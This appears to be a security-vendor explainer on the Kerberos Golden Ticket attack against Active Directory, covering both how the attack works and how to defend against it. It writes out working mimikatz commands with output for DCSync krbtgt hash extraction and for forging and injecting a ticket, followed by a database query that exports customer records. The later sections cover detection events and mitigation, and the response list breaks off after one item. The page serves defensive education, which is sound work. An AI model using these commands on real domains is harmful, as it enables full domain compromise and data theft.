Golden Ticket
Like Willy Wonka’s chocolate factory, a golden ticket in Active Directory grants the bearer unlimited access. The security of the Kerberos protocol is rooted in the use of shared secrets to encrypt and sign messages. Some of these secrets are known to the trusted third-party (the Key Distribution Center (KDC) in Kerberos) and clients, but one in particular is known only to the KDC: the secret to the krbtgt user, whose password hash is used to sign or encrypt Kerberos tickets issued by the KDC. In other words, compromising the krbtgt hash allows an adversary to behave as if they were Active Directory!
Once an adversary has compromised the krbtgt hash, they possess the golden ticket. Using it, they can mint Kerberos tickets as if they were Active Directory itself, such as: issuing tickets for users that don’t exist, adding users to groups in which they don’t belong, or issuing tickets with lifetimes far beyond the configured maximum. In effect, the adversary is Active Directory and can access any resource they choose. This capability is both extremely powerful and difficult to detect.
Threat Summary
Target:
Active Directory
ATT&CK® Tactic:
ATT&CK Technique:
Difficulty
Detect:
Hard
Mitigate:
Medium
Respond:
Hard
How Golden Ticket Works
Hover to see each step
Step 1: There are a number of methods through which an adversary can compromise the password hash of the krbtgt user. All of them require that the adversary have discovered and compromised some kind of administrative privilege in Active Directory, whether that’s replication privileges or Administrators access to a domain controller. DCSync is an effective technique commonly used by adversaries for this purpose.
PS> mimikatz.exe "lsadump::dcsync /user:DOMAIN\KRBTGT" mimikatz(commandline) # lsadump::dcsync /user:DOMAIN\Krbtgt [DC] 'DOMAIN.com' will be the domain # The Domain DNS Name [DC] 'DC1.DOMAIN.com' will be the DC server [DC] 'DOMAIN\Krbtgt' will be the user account Object RDN : krbtgt ** SAM ACCOUNT ** SAM Username : krbtgt User Principal Name : krbtgt@DOMAIN.com Account Type : 30000000 ( USER_OBJECT ) User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT ) Account expiration : Password last change : 09/03/2020 14:51:03 Object Security ID : S-1-5-21-5840559-2756745051-1363507867-502 # The SID of KRBTGT Account Object Relative ID : 502 Credentials: Hash NTLM: 1b8cee51fd49e55e8c9c9004a4acc159 # NTLM Hash #... * Primary:Kerberos-Newer-Keys * Default Salt : PROD.COMkrbtgt Default Iterations : 4096 Credentials aes256_hmac (4096) : ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 # AES256 Hash aes128_hmac (4096) : 471644de05c4834cc6cbc06896210e7d # AES128 Hash #...
Step 2: After compromising the krbtgt password hash, an attacker uses a tool like mimikatz or Impacket to forge Kerberos tickets. In this example, the adversary is going to use their golden ticket to create a Kerberos ticket-granting ticket (TGT) for a user that doesn’t actually exist in the directory. Because the root of trust in Kerberos is the krbtgt password hash, this TGT is considered fully valid.
To use the golden ticket to mint the TGT, the adversary must specify certain information to mimikatz kerberos::golden:
/domain: the FQDN of the domain/sid: the SID of the domain/aes256: AES-256 password hash of thekrbtgtuser (/ntlmor/rc4can be used for NTLM hashes, and/aes128for AES-128)/user: the username that will be impersonated/groups: the list of groups (by RID) to include in the ticket, with the first being the user’s primary group/ptt: indicates that the forged ticket should be injected into the current session instead of being written to file
PS> mimikatz.exe "kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /groups:513,2668 /ptt" mimikatz(commandline) # kerberos::golden /domain:domain.com /sid:S-1-5-21-5840559-2756745051-1363507867 /aes256:ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 /user:NonExistentUser /ticket:GoldenTicket.kirbi /ptt User : NonExistentUser Domain : domain.com (DOMAIN) SID : S-1-5-21-5840559-2756745051-1363507867 User Id : 500 Groups Id : *513 2668 ServiceKey: ffa8bd983a5a03618bdf577c2d79a467265f140ba339b89cc0a9c1bfdb4747f5 - aes256_hmac Lifetime : 19/07/2020 22:31:00 ; 17/07/2030 22:31:00 ; 17/07/2030 22:31:00 -> Ticket : ** Pass The Ticket ** * PAC generated * PAC signed * EncTicketPart generated * EncTicketPart encrypted * KrbCred generated Golden ticket for 'NonExistentUser @ domain.com' successfully submitted for current session
Step 3: Lastly, the attacker can use the forged ticket to access Kerberos-integrated resources. Because the forgery is signed and encrypted with the real krbtgt password hash, any domain controller will accept it as proof of identity and issue ticket-granting service (TGS) tickets for it.
Furthermore, as the adversary discovers more about the environment, they can continue to mint tickets with specific group memberships to obtain privileges within any application, database, etc. that uses Active Directory for authentication and authorization.
In this example, the adversary forged a Kerberos ticket including the group RID 2668. The RID corresponds to a group they discovered performing internal reconnaissance called “MSSQL Administrators,” which they concluded might grant them access to sensitive databases. Using the Kerberos ticket injected in their session, they are able to successfully use their forged ticket and Windows Integrated authentication to connect to a database to export sensitive data.
PS> mssql-cli --server dbserver --integrated --query 'SELECT SYSTEM_USER; SELECT * FROM [SensitiveApp].[dbo].[Customers]' +--------------------------+ | (No column name) | |--------------------------| | DOMAIN\NonExistentUser | +--------------------------+ (1 row affected) +--------------+-------------+-----------+-------------+ | customerId | givenName | surname | ssn | |--------------+-------------+-----------+-------------| | 1 | Bob | Smith | 000-00-0001 | | 2 | Jane | Doe | 000-00-0002 | | 3 | Kyle | Jones | 000-00-0003 | | 4 | Amy | Allen | 000-00-0004 | +--------------+-------------+-----------+-------------+ (4 rows affected) PS>
Detect, Mitigate, and Respond
Difficulty: Hard
Like detecting other kinds of forgeries, detecting the use of a golden ticket requires analyzing Kerberos tickets for the subtle marks of manipulation. Signs and symptoms of a golden ticket include tickets with: usernames that don’t exist; modified group memberships (added or removed); username and RID mismatches; weaker-than-normal encryption types (e.g. RC4 used instead of AES-256); or, ticket lifetimes exceeding the domain maximum (domain default lifetime is 10 hours; mimikatz default is 10 years.)
The following Windows events can be collected and analyzed to detect possible golden ticket use:
| Event | Source | Information |
|---|---|---|
| Audit Kerberos Service Ticket Operations: Event ID 4769 | Domain Controllers |
|
| Audit Group Membership: Event ID 4627 | Domain Controllers, Member Computers |
|
| Audit Logon: Event ID 4624 | Domain Controllers, Member Computers |
|
Difficulty: Medium
Golden tickets abuse the very foundation of trust and security in Active Directory – the password hash of the krbtgt user. Mitigation should thus focus on those activities that make it harder for adversaries to compromise privileged access to Active Directory.
- Do not allow users to possess administrative privileges across security boundaries. For example, an adversary who initially compromises a workstation should not be able to escalate privileges to move from the workstation to a server or domain controller. Eliminating these pathways to privilege escalation is essential.
- Reduce and eliminate sensitive privileges. For example, many organizations have service accounts with “Domain Admins” privileges. If that service account is compromised, an adversary has everything they need to extract the
krbtgthash. - Change the password for the
krbtgtuser on a regular schedule, and after any changes in personnel responsible for Active Directory administration. Since both the current and previous password of thekrbtgtuser are used by the KDC to validate Kerberos tickets, the password must be changed twice, approximately 12-24 hours apart to prevent potential service disruptions.
Difficulty: Hard
An adversary with a golden ticket is one of the more difficult things to respond to and recover from. It can take weeks of planning and effort to complete all of the activities necessary to ensure a) you fully eradicate the attacker’s presence and persistence mechanisms, and b) make the necessary changes to ensure they cannot reuse the prior attack path to regain access.
- Activate the incident response process and alert the incident response team.